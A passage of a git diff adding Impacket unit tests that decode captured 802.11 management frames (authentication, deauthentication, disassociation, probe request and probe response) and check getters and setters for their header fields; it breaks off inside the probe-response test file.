+        self.rawframe=b"\x00\x00\x1c\x00\xef\x18\x00\x00\x39\x55\x6f\x05\x3c\x00\x00\x00\x10\x02\x85\x09\xa0\x00\xb8\x9d\x60\x00\x00\x1b\xb0\x00\x3a\x01\x00\x18\xf8\x6c\x76\x42\x70\x1a\x04\x54\xe3\x86\x00\x18\xf8\x6c\x76\x42\x30\xc8\x00\x00\x01\x00\x00\x00\xdd\x09\x00\x10\x18\x02\x00\x10\x00\x00\x00\x8a\x64\xe9\x3b"
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_AUTHENTICATION)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_authentication=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_authentication.__class__), "impacket.dot11.Dot11ManagementAuthentication")
+        else:
+            self.assertEqual(str(self.management_authentication.__class__), "<class 'impacket.dot11.Dot11ManagementAuthentication'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_authentication.get_header_size(), 17)
+        self.assertEqual(self.management_authentication.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0xc830)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 3203)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x00\x00\x01\x00\x00\x00\xdd\x09\x00\x10\x18\x02\x00\x10\x00\x00\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Frame Authentication Algorithm field' 
+        self.assertEqual(self.management_authentication.get_authentication_algorithm(), 0x0000)
+        self.management_authentication.set_authentication_algorithm(0x8765)
+        self.assertEqual(self.management_authentication.get_authentication_algorithm(), 0x8765)
+
+    def test_11(self):
+        'Test Management Frame Authentication Sequence field' 
+        self.assertEqual(self.management_authentication.get_authentication_sequence(), 0x0001)
+        self.management_authentication.set_authentication_sequence(0x8765)
+        self.assertEqual(self.management_authentication.get_authentication_sequence(), 0x8765)
+
+    def test_12(self):
+        'Test Management Frame Authentication Status field' 
+        self.assertEqual(self.management_authentication.get_authentication_status(), 0x0000)
+        self.management_authentication.set_authentication_status(0x8765)
+        self.assertEqual(self.management_authentication.get_authentication_status(), 0x8765)
+
+    def test_13(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_authentication.get_vendor_specific(), [(b"\x00\x10\x18",b"\x02\x00\x10\x00\x00\x00")])
+        self.management_authentication.add_vendor_specific(b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_authentication.get_vendor_specific(), 
+            [(b"\x00\x10\x18",b"\x02\x00\x10\x00\x00\x00"),
+             (b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_authentication.get_header_size(), 28)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementDeauthentication.py b/tests/dot11/test_FrameManagementDeauthentication.py
new file mode 100644
index 0000000..cd07562
--- /dev/null
+++ b/tests/dot11/test_FrameManagementDeauthentication.py
@@ -0,0 +1,136 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementBeaconFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe=b'\x00\x00\x10\x00\x6e\x00\x00\x00\x00\x02\x94\x09\xa0\x00\x3a\x00\xc0\x00\x3a\x01\x00\x15\xaf\x64\xac\xbd\x00\x18\x39\xc1\xfc\xe2\x00\x18\x39\xc1\xfc\xe2\x20\x3b\x0f\x00'
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_deauthentication=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_deauthentication.__class__), "impacket.dot11.Dot11ManagementDeauthentication")
+        else:
+            self.assertEqual(str(self.management_deauthentication.__class__), "<class 'impacket.dot11.Dot11ManagementDeauthentication'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_deauthentication.get_header_size(), 2)
+        self.assertEqual(self.management_deauthentication.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x15,0xAF,0x64,0xAC,0xBD])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x15,0xAF,0x64,0xAC,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x3b20)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 946)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x0f\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Reason Code field' 
+        self.assertEqual(self.management_deauthentication.get_reason_code(), 0x000f)
+        self.management_deauthentication.set_reason_code(0x8765)
+        self.assertEqual(self.management_deauthentication.get_reason_code(), 0x8765)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementDisassociation.py b/tests/dot11/test_FrameManagementDisassociation.py
new file mode 100644
index 0000000..bdf2fa1
--- /dev/null
+++ b/tests/dot11/test_FrameManagementDisassociation.py
@@ -0,0 +1,136 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementDisassociationFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe=b"\x00\x00\x1c\x00\xef\x18\x00\x00\xe7\x8a\xec\xb8\x3b\x00\x00\x00\x10\x02\x85\x09\xa0\x00\xb5\x9d\x60\x00\x00\x18\xa0\x00\x3a\x01\x00\x18\xf8\x6c\x76\x42\x70\x1a\x04\x54\xe3\x86\x00\x18\xf8\x6c\x76\x42\x70\x92\x08\x00\xbf\x1b\xa3\xa8"
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_disassociation=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_disassociation.__class__), "impacket.dot11.Dot11ManagementDisassociation")
+        else:
+            self.assertEqual(str(self.management_disassociation.__class__), "<class 'impacket.dot11.Dot11ManagementDisassociation'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_disassociation.get_header_size(), 2)
+        self.assertEqual(self.management_disassociation.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x9270)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 2343)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x08\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Reason Code field' 
+        self.assertEqual(self.management_disassociation.get_reason_code(), 0x0008)
+        self.management_disassociation.set_reason_code(0x8765)
+        self.assertEqual(self.management_disassociation.get_reason_code(), 0x8765)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementProbeRequest.py b/tests/dot11/test_FrameManagementProbeRequest.py
new file mode 100644
index 0000000..ac1bb34
--- /dev/null
+++ b/tests/dot11/test_FrameManagementProbeRequest.py
@@ -0,0 +1,148 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementProbeRequestFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawProbeRequestframe=b'\x00\x00\x18\x00\x2e\x48\x00\x00\x00\x02\x85\x09\xa0\x00\xda\x01\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x23\x4d\x13\xf9\x1b\xff\xff\xff\xff\xff\xff\x90\x45\x00\x05\x64\x6c\x69\x6e\x6b\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24\x32\x04\x30\x48\x60\x6c'
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawProbeRequestframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+                
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_REQUEST)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_probe_request=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_probe_request.__class__), "impacket.dot11.Dot11ManagementProbeRequest")
+        else:
+            self.assertEqual(str(self.management_probe_request.__class__), "<class 'impacket.dot11.Dot11ManagementProbeRequest'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_probe_request.get_header_size(), 23)
+        self.assertEqual(self.management_probe_request.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x0000)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0xFF,0xFF,0xFF,0xFF,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x13,0xf9,0x1b])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x23,0x4d,0x13,0xf9,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x4590)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 1113)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x00\x05\x64\x6c\x69\x6e\x6b\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24\x32\x04\x30\x48\x60\x6c"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management ssid getter/setter methods'
+        act_ssid=b"dlink"
+        new_ssid=b"holala"
+        self.assertEqual(self.management_probe_request.get_ssid(), act_ssid)
+        self.management_probe_request.set_ssid(new_ssid)
+        self.assertEqual(self.management_probe_request.get_ssid(), new_ssid)
+        self.assertEqual(self.management_probe_request.get_header_size(), 23+len(new_ssid)-len(act_ssid))
+
+    def test_11(self):
+        'Test Management supported_rates getter/setter methods'
+        self.assertEqual(self.management_probe_request.get_supported_rates(), (0x02,0x04,0x0b,0x16,0x0c,0x12,0x18,0x24) )
+        self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 6.0, 9.0, 12.0, 18.0) )
+        self.management_probe_request.set_supported_rates((0x04,0x0b,0x16,0x0c,0x12,0x18))
+        self.assertEqual(self.management_probe_request.get_supported_rates(), (0x04,0x0b,0x16,0x0c,0x12,0x18))
+        self.assertEqual(self.management_probe_request.get_supported_rates(human_readable=True), (2.0, 5.5, 11.0, 6.0, 9.0, 12.0) )
+        self.assertEqual(self.management_probe_request.get_header_size(), 23-2)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementProbeResponse.py b/tests/dot11/test_FrameManagementProbeResponse.py
new file mode 100644
index 0000000..40fe3ff
--- /dev/null
+++ b/tests/dot11/test_FrameManagementProbeResponse.py
@@ -0,0 +1,197 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementProbeResponseFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawProbeResponseframe=b'\x00\x00\x18\x00\x2e\x48\x00\x00\x00\x02\x85\x09\xa0\x00\xb0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x3a\x01\x00\x21\xfe\x39\x3f\x77\x00\x1b\x11\x32\x66\x23\x00\x1b\x11\x32\x66\x23\x20\x73\x7f\xa0\x22\xf8\x3f\x01\x00\x00\x64\x00\x11\x04\x00\x07\x66\x72\x65\x65\x62\x73\x64\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c\x03\x01\x06\x2a\x01\x04\x2f\x01\x04\x32\x04\x0c\x12\x18\x60\xdd\x75\x00\x50\xf2\x04\x10\x4a\x00\x01\x10\x10\x44\x00\x01\x02\x10\x41\x00\x01\x00\x10\x3b\x00\x01\x03\x10\x47\x00\x10\x11\x4e\xf7\x46\xa9\xc6\xfb\x1d\x70\x1b\x00\x1b\x11\x32\x66\x23\x10\x21\x00\x06\x44\x2d\x4c\x69\x6e\x6b\x10\x23\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x24\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x42\x00\x08\x30\x30\x30\x30\x30\x30\x30\x30\x10\x54\x00\x08\x00\x06\x00\x50\xf2\x04\x00\x01\x10\x11\x00\x07\x44\x49\x52\x2d\x33\x32\x30\x10\x08\x00\x02\x00\x8e\xdd\x05\x00\x50\xf2\x05\x00\xdd\x09\x00\x10\x18\x02\x01\xf0\x00\x00\x00\xdd\x18\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50\xf2\x02\x00\x00'
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawProbeResponseframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_RESPONSE)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_probe_response=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_probe_response.__class__), "impacket.dot11.Dot11ManagementProbeResponse")
+        else:
+            self.assertEqual(str(self.management_probe_response.__class__), "<class 'impacket.dot11.Dot11ManagementProbeResponse'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_probe_response.get_header_size(), 209)
+        self.assertEqual(self.management_probe_response.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x21,0xFE,0x39,0x3F,0x77])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x21,0xFE,0x39,0x3F,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x1B,0x11,0x32,0x66,0x23])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1B,0x11,0x32,0x66,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x1B,0x11,0x32,0x66,0x23])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x1B,0x11,0x32,0x66,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x7320)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # It's 4 bits long
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 1842)
+        self.management_base.set_sequence_number(0xF234) # It's 12 bits long
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
